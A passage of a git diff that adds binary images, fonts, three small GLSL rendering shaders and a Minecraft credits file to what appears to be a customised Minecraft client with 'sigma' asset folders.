b/src/assets/minecraft/sigma/title.png differ diff --git a/src/assets/minecraft/sigma/unchecked.png b/src/assets/minecraft/sigma/unchecked.png new file mode 100644 index 00000000..583c9fed Binary files /dev/null and b/src/assets/minecraft/sigma/unchecked.png differ diff --git a/src/assets/minecraft/sigma/viewport.png b/src/assets/minecraft/sigma/viewport.png new file mode 100644 index 00000000..0c227c45 Binary files /dev/null and b/src/assets/minecraft/sigma/viewport.png differ diff --git a/src/assets/minecraft/sigma/warning.png b/src/assets/minecraft/sigma/warning.png new file mode 100644 index 00000000..6c6e51c5 Binary files /dev/null and b/src/assets/minecraft/sigma/warning.png differ diff --git a/src/assets/minecraft/sigmang/fonts/MazinDEMO-ExtraLight.otf b/src/assets/minecraft/sigmang/fonts/MazinDEMO-ExtraLight.otf new file mode 100644 index 00000000..eecb8a17 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/MazinDEMO-ExtraLight.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/SF-UI-Display-Semibold.otf b/src/assets/minecraft/sigmang/fonts/SF-UI-Display-Semibold.otf new file mode 100644 index 00000000..4c68c287 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/SF-UI-Display-Semibold.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/SF-UI-Display-Thin.otf b/src/assets/minecraft/sigmang/fonts/SF-UI-Display-Thin.otf new file mode 100644 index 00000000..b8c62476 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/SF-UI-Display-Thin.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/arialbd.ttf b/src/assets/minecraft/sigmang/fonts/arialbd.ttf new file mode 100644 index 00000000..a6037e68 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/arialbd.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/icons.ttf b/src/assets/minecraft/sigmang/fonts/icons.ttf new file mode 100644 index 00000000..761240c6 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/icons.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/jellolight.ttf b/src/assets/minecraft/sigmang/fonts/jellolight.ttf new file mode 100644 index 00000000..c57bc96f Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/jellolight.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/jellomedium.ttf b/src/assets/minecraft/sigmang/fonts/jellomedium.ttf new file mode 100644 index 00000000..be07dfd7 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/jellomedium.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/jelloregular.ttf b/src/assets/minecraft/sigmang/fonts/jelloregular.ttf new file mode 100644 index 00000000..7864fce5 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/jelloregular.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/sf_bold.ttf b/src/assets/minecraft/sigmang/fonts/sf_bold.ttf new file mode 100644 index 00000000..025b25c2 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sf_bold.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/sf_n.ttf b/src/assets/minecraft/sigmang/fonts/sf_n.ttf new file mode 100644 index 00000000..a84b19a8 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sf_n.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/sfb.otf b/src/assets/minecraft/sigmang/fonts/sfb.otf new file mode 100644 index 00000000..6eb84906 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sfb.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/sfr.otf b/src/assets/minecraft/sigmang/fonts/sfr.otf new file mode 100644 index 00000000..2e637ac6 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sfr.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/sfu.otf b/src/assets/minecraft/sigmang/fonts/sfu.otf new file mode 100644 index 00000000..e9af8770 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sfu.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/sfui-b.ttf b/src/assets/minecraft/sigmang/fonts/sfui-b.ttf new file mode 100644 index 00000000..153a1240 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sfui-b.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/sfui.ttf b/src/assets/minecraft/sigmang/fonts/sfui.ttf new file mode 100644 index 00000000..70af82f4 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sfui.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/sful.otf b/src/assets/minecraft/sigmang/fonts/sful.otf new file mode 100644 index 00000000..7f0c91ed Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/sful.otf differ diff --git a/src/assets/minecraft/sigmang/fonts/verdana.ttf b/src/assets/minecraft/sigmang/fonts/verdana.ttf new file mode 100644 index 00000000..9a349975 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/verdana.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/verdanab.ttf b/src/assets/minecraft/sigmang/fonts/verdanab.ttf new file mode 100644 index 00000000..fe8e6879 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/verdanab.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/verdanai.ttf b/src/assets/minecraft/sigmang/fonts/verdanai.ttf new file mode 100644 index 00000000..23a6a03b Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/verdanai.ttf differ diff --git a/src/assets/minecraft/sigmang/fonts/verdanaz.ttf b/src/assets/minecraft/sigmang/fonts/verdanaz.ttf new file mode 100644 index 00000000..ff3b3850 Binary files /dev/null and b/src/assets/minecraft/sigmang/fonts/verdanaz.ttf differ diff --git a/src/assets/minecraft/sigmang/images/alt/active.png b/src/assets/minecraft/sigmang/images/alt/active.png new file mode 100644 index 00000000..b5664b69 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/active.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/cercle.png b/src/assets/minecraft/sigmang/images/alt/cercle.png new file mode 100644 index 00000000..2a8c941e Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/cercle.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/errors.png b/src/assets/minecraft/sigmang/images/alt/errors.png new file mode 100644 index 00000000..b261a9b1 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/errors.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/img.png b/src/assets/minecraft/sigmang/images/alt/img.png new file mode 100644 index 00000000..3ba4fc80 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/img.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/man.png b/src/assets/minecraft/sigmang/images/alt/man.png new file mode 100644 index 00000000..7d6823d3 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/man.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/select.png b/src/assets/minecraft/sigmang/images/alt/select.png new file mode 100644 index 00000000..e34944dd Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/select.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/shadow.png b/src/assets/minecraft/sigmang/images/alt/shadow.png new file mode 100644 index 00000000..a410f5f8 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/shadow.png differ diff --git a/src/assets/minecraft/sigmang/images/alt/skin.png b/src/assets/minecraft/sigmang/images/alt/skin.png new file mode 100644 index 00000000..9e207219 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/alt/skin.png differ diff --git a/src/assets/minecraft/sigmang/images/arrow.png b/src/assets/minecraft/sigmang/images/arrow.png new file mode 100644 index 00000000..4db50a23 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/arrow.png differ diff --git a/src/assets/minecraft/sigmang/images/back.png b/src/assets/minecraft/sigmang/images/back.png new file mode 100644 index 00000000..a3380bd7 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/back.png differ diff --git a/src/assets/minecraft/sigmang/images/background.png b/src/assets/minecraft/sigmang/images/background.png new file mode 100644 index 00000000..366e71b5 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/background.png differ diff --git a/src/assets/minecraft/sigmang/images/blur3.PNG b/src/assets/minecraft/sigmang/images/blur3.PNG new file mode 100644 index 00000000..cfb3688b Binary files /dev/null and b/src/assets/minecraft/sigmang/images/blur3.PNG differ diff --git a/src/assets/minecraft/sigmang/images/blured.png b/src/assets/minecraft/sigmang/images/blured.png new file mode 100644 index 00000000..fff103e2 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/blured.png differ diff --git a/src/assets/minecraft/sigmang/images/blured2.PNG b/src/assets/minecraft/sigmang/images/blured2.PNG new file mode 100644 index 00000000..c6916509 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/blured2.PNG differ diff --git a/src/assets/minecraft/sigmang/images/check.png b/src/assets/minecraft/sigmang/images/check.png new file mode 100644 index 00000000..d733092a Binary files /dev/null and b/src/assets/minecraft/sigmang/images/check.png differ diff --git a/src/assets/minecraft/sigmang/images/clickgui/color.png b/src/assets/minecraft/sigmang/images/clickgui/color.png new file mode 100644 index 00000000..d9974491 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/clickgui/color.png differ diff --git a/src/assets/minecraft/sigmang/images/clickgui/color2.png b/src/assets/minecraft/sigmang/images/clickgui/color2.png new file mode 100644 index 00000000..5fd81083 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/clickgui/color2.png differ diff --git a/src/assets/minecraft/sigmang/images/clickgui/disable.png b/src/assets/minecraft/sigmang/images/clickgui/disable.png new file mode 100644 index 00000000..0a1e9127 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/clickgui/disable.png differ diff --git a/src/assets/minecraft/sigmang/images/clickgui/enable.png b/src/assets/minecraft/sigmang/images/clickgui/enable.png new file mode 100644 index 00000000..08b86289 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/clickgui/enable.png differ diff --git a/src/assets/minecraft/sigmang/images/deobf.png b/src/assets/minecraft/sigmang/images/deobf.png new file mode 100644 index 00000000..b6a7e283 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/deobf.png differ diff --git a/src/assets/minecraft/sigmang/images/dollar.png b/src/assets/minecraft/sigmang/images/dollar.png new file mode 100644 index 00000000..6206e7d6 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/dollar.png differ diff --git a/src/assets/minecraft/sigmang/images/dvd.png b/src/assets/minecraft/sigmang/images/dvd.png new file mode 100644 index 00000000..3370a28e Binary files /dev/null and b/src/assets/minecraft/sigmang/images/dvd.png differ diff --git a/src/assets/minecraft/sigmang/images/esp/playermodelshadow.png b/src/assets/minecraft/sigmang/images/esp/playermodelshadow.png new file mode 100644 index 00000000..dffe58f8 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/esp/playermodelshadow.png differ diff --git a/src/assets/minecraft/sigmang/images/esp/shadow.png b/src/assets/minecraft/sigmang/images/esp/shadow.png new file mode 100644 index 00000000..a410f5f8 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/esp/shadow.png differ diff --git a/src/assets/minecraft/sigmang/images/foreground.png b/src/assets/minecraft/sigmang/images/foreground.png new file mode 100644 index 00000000..cf3a8c8f Binary files /dev/null and b/src/assets/minecraft/sigmang/images/foreground.png differ diff --git a/src/assets/minecraft/sigmang/images/gps.png b/src/assets/minecraft/sigmang/images/gps.png new file mode 100644 index 00000000..3db006b3 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/gps.png differ diff --git a/src/assets/minecraft/sigmang/images/heart.png b/src/assets/minecraft/sigmang/images/heart.png new file mode 100644 index 00000000..daf587e8 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/heart.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/account.png b/src/assets/minecraft/sigmang/images/jello/account.png new file mode 100644 index 00000000..34d9666c Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/account.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/dvd.png b/src/assets/minecraft/sigmang/images/jello/dvd.png new file mode 100644 index 00000000..3370a28e Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/dvd.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/floating_border.png b/src/assets/minecraft/sigmang/images/jello/floating_border.png new file mode 100644 index 00000000..4f2fabbf Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/floating_border.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/floating_corner.png b/src/assets/minecraft/sigmang/images/jello/floating_corner.png new file mode 100644 index 00000000..c045a918 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/floating_corner.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/loading_indicator.png b/src/assets/minecraft/sigmang/images/jello/loading_indicator.png new file mode 100644 index 00000000..83ee09b4 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/loading_indicator.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/logo_large.png b/src/assets/minecraft/sigmang/images/jello/logo_large.png new file mode 100644 index 00000000..0649a37d Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/logo_large.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/logo_large@2x.png b/src/assets/minecraft/sigmang/images/jello/logo_large@2x.png new file mode 100644 index 00000000..edabe8e5 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/logo_large@2x.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/options.png b/src/assets/minecraft/sigmang/images/jello/options.png new file mode 100644 index 00000000..cc35e223 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/options.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/search.png b/src/assets/minecraft/sigmang/images/jello/search.png new file mode 100644 index 00000000..18d9001f Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/search.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_bottom.png b/src/assets/minecraft/sigmang/images/jello/shadow_bottom.png new file mode 100644 index 00000000..2cefed80 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_bottom.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_corner.png b/src/assets/minecraft/sigmang/images/jello/shadow_corner.png new file mode 100644 index 00000000..5931fe37 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_corner.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_corner_2.png b/src/assets/minecraft/sigmang/images/jello/shadow_corner_2.png new file mode 100644 index 00000000..9384523e Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_corner_2.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_corner_3.png b/src/assets/minecraft/sigmang/images/jello/shadow_corner_3.png new file mode 100644 index 00000000..efca53ec Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_corner_3.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_corner_4.png b/src/assets/minecraft/sigmang/images/jello/shadow_corner_4.png new file mode 100644 index 00000000..a8eaecdd Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_corner_4.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_left.png b/src/assets/minecraft/sigmang/images/jello/shadow_left.png new file mode 100644 index 00000000..084620c9 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_left.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_right.png b/src/assets/minecraft/sigmang/images/jello/shadow_right.png new file mode 100644 index 00000000..fec436f0 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_right.png differ diff --git a/src/assets/minecraft/sigmang/images/jello/shadow_top.png b/src/assets/minecraft/sigmang/images/jello/shadow_top.png new file mode 100644 index 00000000..dad292c2 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jello/shadow_top.png differ diff --git a/src/assets/minecraft/sigmang/images/jellobg.png b/src/assets/minecraft/sigmang/images/jellobg.png new file mode 100644 index 00000000..f7647b50 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jellobg.png differ diff --git a/src/assets/minecraft/sigmang/images/jelloblur.png b/src/assets/minecraft/sigmang/images/jelloblur.png new file mode 100644 index 00000000..4fe73890 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/jelloblur.png differ diff --git a/src/assets/minecraft/sigmang/images/logo.png b/src/assets/minecraft/sigmang/images/logo.png new file mode 100644 index 00000000..b7512cba Binary files /dev/null and b/src/assets/minecraft/sigmang/images/logo.png differ diff --git a/src/assets/minecraft/sigmang/images/logo2.png b/src/assets/minecraft/sigmang/images/logo2.png new file mode 100644 index 00000000..a6097d65 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/logo2.png differ diff --git a/src/assets/minecraft/sigmang/images/mentalfrostbyte/mentalfrostbyte.png b/src/assets/minecraft/sigmang/images/mentalfrostbyte/mentalfrostbyte.png new file mode 100644 index 00000000..8cbc8cf3 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/mentalfrostbyte/mentalfrostbyte.png differ diff --git a/src/assets/minecraft/sigmang/images/mentalfrostbyte/sigma.png b/src/assets/minecraft/sigmang/images/mentalfrostbyte/sigma.png new file mode 100644 index 00000000..a46a668a Binary files /dev/null and b/src/assets/minecraft/sigmang/images/mentalfrostbyte/sigma.png differ diff --git a/src/assets/minecraft/sigmang/images/mentalfrostbyte/sigma2.png b/src/assets/minecraft/sigmang/images/mentalfrostbyte/sigma2.png new file mode 100644 index 00000000..b6741d95 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/mentalfrostbyte/sigma2.png differ diff --git a/src/assets/minecraft/sigmang/images/mentalfrostbyte/tomy.png b/src/assets/minecraft/sigmang/images/mentalfrostbyte/tomy.png new file mode 100644 index 00000000..761bb654 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/mentalfrostbyte/tomy.png differ diff --git a/src/assets/minecraft/sigmang/images/middle.png b/src/assets/minecraft/sigmang/images/middle.png new file mode 100644 index 00000000..3105b240 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/middle.png differ diff --git a/src/assets/minecraft/sigmang/images/options.png b/src/assets/minecraft/sigmang/images/options.png new file mode 100644 index 00000000..cc35e223 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/options.png differ diff --git a/src/assets/minecraft/sigmang/images/particles.png b/src/assets/minecraft/sigmang/images/particles.png new file mode 100644 index 00000000..aa509441 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/particles.png differ diff --git a/src/assets/minecraft/sigmang/images/particles2.png b/src/assets/minecraft/sigmang/images/particles2.png new file mode 100644 index 00000000..bc80ad46 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/particles2.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/loading_indicator.png b/src/assets/minecraft/sigmang/images/shadow/loading_indicator.png new file mode 100644 index 00000000..83ee09b4 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/loading_indicator.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_bottom.png b/src/assets/minecraft/sigmang/images/shadow/shadow_bottom.png new file mode 100644 index 00000000..2cefed80 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_bottom.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_corner.png b/src/assets/minecraft/sigmang/images/shadow/shadow_corner.png new file mode 100644 index 00000000..5931fe37 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_corner.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_corner_2.png b/src/assets/minecraft/sigmang/images/shadow/shadow_corner_2.png new file mode 100644 index 00000000..9384523e Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_corner_2.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_corner_3.png b/src/assets/minecraft/sigmang/images/shadow/shadow_corner_3.png new file mode 100644 index 00000000..efca53ec Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_corner_3.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_corner_4.png b/src/assets/minecraft/sigmang/images/shadow/shadow_corner_4.png new file mode 100644 index 00000000..a8eaecdd Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_corner_4.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_left.png b/src/assets/minecraft/sigmang/images/shadow/shadow_left.png new file mode 100644 index 00000000..084620c9 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_left.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_right.png b/src/assets/minecraft/sigmang/images/shadow/shadow_right.png new file mode 100644 index 00000000..fec436f0 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_right.png differ diff --git a/src/assets/minecraft/sigmang/images/shadow/shadow_top.png b/src/assets/minecraft/sigmang/images/shadow/shadow_top.png new file mode 100644 index 00000000..dad292c2 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/shadow/shadow_top.png differ diff --git a/src/assets/minecraft/sigmang/images/sigmalogo.png b/src/assets/minecraft/sigmang/images/sigmalogo.png new file mode 100644 index 00000000..bd6f27d0 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/sigmalogo.png differ diff --git a/src/assets/minecraft/sigmang/images/sigmalogo2.0.png b/src/assets/minecraft/sigmang/images/sigmalogo2.0.png new file mode 100644 index 00000000..5b9d0352 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/sigmalogo2.0.png differ diff --git a/src/assets/minecraft/sigmang/images/sigmalogoOld.png b/src/assets/minecraft/sigmang/images/sigmalogoOld.png new file mode 100644 index 00000000..cb4eb016 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/sigmalogoOld.png differ diff --git a/src/assets/minecraft/sigmang/images/snowflake.png b/src/assets/minecraft/sigmang/images/snowflake.png new file mode 100644 index 00000000..8d28f735 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/snowflake.png differ diff --git a/src/assets/minecraft/sigmang/images/star.png b/src/assets/minecraft/sigmang/images/star.png new file mode 100644 index 00000000..bbd2cd1e Binary files /dev/null and b/src/assets/minecraft/sigmang/images/star.png differ diff --git a/src/assets/minecraft/sigmang/images/target.png b/src/assets/minecraft/sigmang/images/target.png new file mode 100644 index 00000000..397b73ea Binary files /dev/null and b/src/assets/minecraft/sigmang/images/target.png differ diff --git a/src/assets/minecraft/sigmang/images/warning.png b/src/assets/minecraft/sigmang/images/warning.png new file mode 100644 index 00000000..7b5c5ffb Binary files /dev/null and b/src/assets/minecraft/sigmang/images/warning.png differ diff --git a/src/assets/minecraft/sigmang/images/watermark1.png b/src/assets/minecraft/sigmang/images/watermark1.png new file mode 100644 index 00000000..cb09ac80 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/watermark1.png differ diff --git a/src/assets/minecraft/sigmang/images/yuankong.png b/src/assets/minecraft/sigmang/images/yuankong.png new file mode 100644 index 00000000..4836c124 Binary files /dev/null and b/src/assets/minecraft/sigmang/images/yuankong.png differ diff --git a/src/assets/minecraft/sigmang/shaders/outline.frag b/src/assets/minecraft/sigmang/shaders/outline.frag new file mode 100644 index 00000000..03ceb2c2 --- /dev/null +++ b/src/assets/minecraft/sigmang/shaders/outline.frag @@ -0,0 +1,24 @@ +#version 120 + +uniform vec2 texelSize, direction; +uniform sampler2D textureIn; +uniform float radius; + +#define offset direction * texelSize + +void main() { + vec4 center = texture2D(textureIn, gl_TexCoord[0].st); + center.rgb *= center.a; + if (center.a > 0) discard; + for (float r = 1.0; r <= radius; r++) { + vec4 alphaCurrent1 = texture2D(textureIn, gl_TexCoord[0].st + offset * r); + vec4 alphaCurrent2 = texture2D(textureIn, gl_TexCoord[0].st - offset * r); + alphaCurrent1.rgb *= alphaCurrent1.a; + alphaCurrent2.rgb *= alphaCurrent2.a; + center += alphaCurrent1 + alphaCurrent2; + } + + gl_FragColor = vec4(center.rgb / center.a, center.a); + +} + diff --git a/src/assets/minecraft/sigmang/shaders/sigmaoutline.frag b/src/assets/minecraft/sigmang/shaders/sigmaoutline.frag new file mode 100644 index 00000000..25f62695 --- /dev/null +++ b/src/assets/minecraft/sigmang/shaders/sigmaoutline.frag @@ -0,0 +1,9 @@ +#version 120 + +uniform sampler2D textureIn; + +void main() { + vec4 center = texture2D(textureIn, gl_TexCoord[0].xy); + if(center.a <= 1) center.a = 0; + gl_FragColor = center; +} diff --git a/src/assets/minecraft/sigmang/shaders/vertex.vsh b/src/assets/minecraft/sigmang/shaders/vertex.vsh new file mode 100644 index 00000000..30ca91c0 --- /dev/null +++ b/src/assets/minecraft/sigmang/shaders/vertex.vsh @@ -0,0 +1,9 @@ +#version 120 + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main() { + gl_TexCoord[0] = gl_MultiTexCoord0; + gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex; +} \ No newline at end of file diff --git a/src/assets/minecraft/texts/credits.txt b/src/assets/minecraft/texts/credits.txt new file mode 100644 index 00000000..5cc5bfb6 --- /dev/null +++ b/src/assets/minecraft/texts/credits.txt @@ -0,0 +1,480 @@ +[C]§f============ +[C]§eMinecraft Team +[C]§f============ + +§7Original Creator +§f Markus Persson + +§7Chief Creative Officer +§f Jens Bergensten + +§7Executive Producer +§f Sara Jansson Bach + +§7Producers +§f Adrian ÖstergÃ¥rd +§f Dejan Dimic +§f Isabella Arningsmark +§f Marcus Bodin +§f Marie StÃ¥lkrantz + +§7Associate Producers +§f Anna Lundgren +§f Sara Lidberg + +§7Technical Director +§f Nathan Adams + +§7Tech Leads +§f Mikael Hedberg +§f Sebastian Hindefelt + +§7Game Developers +§f Agnes Larsson +§f Alexander Sandor +§f Alexander Torstling +§f Alexander Östman +§f Bartosz Bok +§f Billy Sjöberg +§f Bjarni Gudmundsson +§f Brandon Pearce +§f Cory Scheviak +§f David Dalström +§f Erik Broes +§f Felix Jones +§f Georgii Gavrichev +§f Henning Erlandsen +§f Henrik Kniberg +§f Joachim Larsson +§f Johannes Busch +§f Josh Letellier +§f Kristoffer Kobosko +§f Maria Lemón +§f Matthew Gatland +§f Michael Stoyke +§f Niclas Unnervik +§f Nilay Karaoglu +§f Nir Vaknin +§f Pouya Ashraf +§f Sina Tamanna +§f Thomas Guimbretière + +§7Quality Assurance +§f Paul Coada +§f Thommy Siverman Mörk +§f Zackarias Gustavsson + +§7Launcher Tech Lead +§f Márcio Oliveira + +§7Launcher Developers +§f Linus Cumselius +§f Marc Neander +§f Mikael Malmqvist +§f Petr Mrázek + +§7Launcher User Experience Designer +§f Lucas Morales + +§7Realms Senior Product Manager +§f Fredrik Telenius + +§7Realms Product Manager +§f Kevin Katona + +§7Realms Tech Lead +§f Lawrence Sanchez + +§7Realms Developers +§f Brian Threvathan +§f Cullen Waters +§f Lawrence Sanchez +§f Nathan Sosnovske +§f Nicolas Suc + +§7Minecraft Content Lead +§f Matthew Dryden + +§7Minecraft Content Coordinator +§f Adam Martinsson +§f Oskar Thysell +§f Sara Lempiäinen + +§7Art Directors +§f Johan Aronsson +§f Markus Toivonen +§f Martin Johansson +§f Ninni Landin + +§7Graphics Artists +§f Chi Wong +§f Jasper Boerstra +§f Mattis Grahm + +§7User Experience Design +§f Josefine Lindqvist +§f Lily Ekman +§f Oscar Nilsson + +§7Lead User Experience Developers +§f Paulo Ragonha + +§7User Experience Developers +§f Albin Odervall +§f Anna Päärni +§f Dario Vodopivec +§f Emelie Sidesiö +§f Emil Hedemalm +§f Kirill Mikhel +§f Marlon Huber-Smith +§f Michael Novén +§f Oleg Kozitsyn +§f Oskar Carlbaum +§f Oskar Pedersen +§f Richard Pihlcrantz + +§7Sound Director +§f Samuel Ã…berg + +§7Sound Design +§f Daniel Rosenfeld +§f Kevin Martinez +§f Peter Hont + +§7Music composed by +§f Daniel Rosenfeld +§f Lena Raine + +§7Writing +§f Julian Gough + +§7Developers of Mo’ Creatures +§f Dan Roque +§f John Olarte (DrZhark) +§f Kent Christian Jensen + +[C]§f======== +[C]§eMojang +[C]§f======== + +§7Chief Executive Officer +§f Jonas MÃ¥rtensson + +§7Chief Operations Officer +§f Ulrika HöjgÃ¥rd + +§7Chief Technology Officer +§f Mike Carlson + +§7Chief Brand Officer +§f Lydia Winters + +§7Chief Content Officer +§f Vu Bui + +§7Human Resources +§f Maja Samuelsson +§f Viktoria Petersson + +§7Director of Finance +§f Marina Kostesic + +§7Director of New Games +§f Patrick Liu + +§7Game Director +§f MÃ¥ns Olson + +§7Game Designers +§f Christian Berg +§f Max Herngren + +§7Lead Game Developers +§f Kristoffer Jelbring +§f Niklas Börestam + +§7Game Developers +§f Adrian Toncean +§f Anton Arbring +§f Aron Nieminen +§f Christan Berg +§f Daniel Wustenhoff +§f Jakob Rydén +§f Jon Maiga +§f MÃ¥rten Helander +§f Tomas Alaeus + +§7Art Leads +§f Daniel Björkefors +§f Telemachus Stavropoulos + +§7Graphic Designers +§f Wiktor Persson +§f Markus Karlsson + +§73D/VFX +§f Christian Nordgren +§f Jakob Gavelli + +§7Lead System Engineers +§f Jifeng Zhang +§f Robert Sjödahl +§f Torbjörn Allard + +§7System Developers +§f Alexandre Pretto Nunes +§f Anders Martini +§f Maksim Ivanov +§f Maria Katsourani +§f Mikael Malmqvist +§f Joakim Ejenstam +§f Jonas Bergström +§f Petter Gisslen +§f Pär Axelsson +§f Stefan Torstensson +§f Wenlan Yang + +§7Experience Design +§f Daniel Feldt + +§7Director of Business Development +§f Patrick Geuder + +§7Production Director +§f Olof Carlson Sandvik + +§7Head of Creative Production +§f Sheila Ho + +§7Production Manager +§f Klas Hammarström + +§7Producers +§f Adele Major +§f David Nisshagen +§f Hampus Nilsson +§f Johannes Fridd +§f Kaya Hatcher +§f Lisa Kempe +§f Moira Ingeltun +§f Nicolette Suraga +§f Sarah Carton +§f Sebastian Falk +§f Ã…sa Skogström + 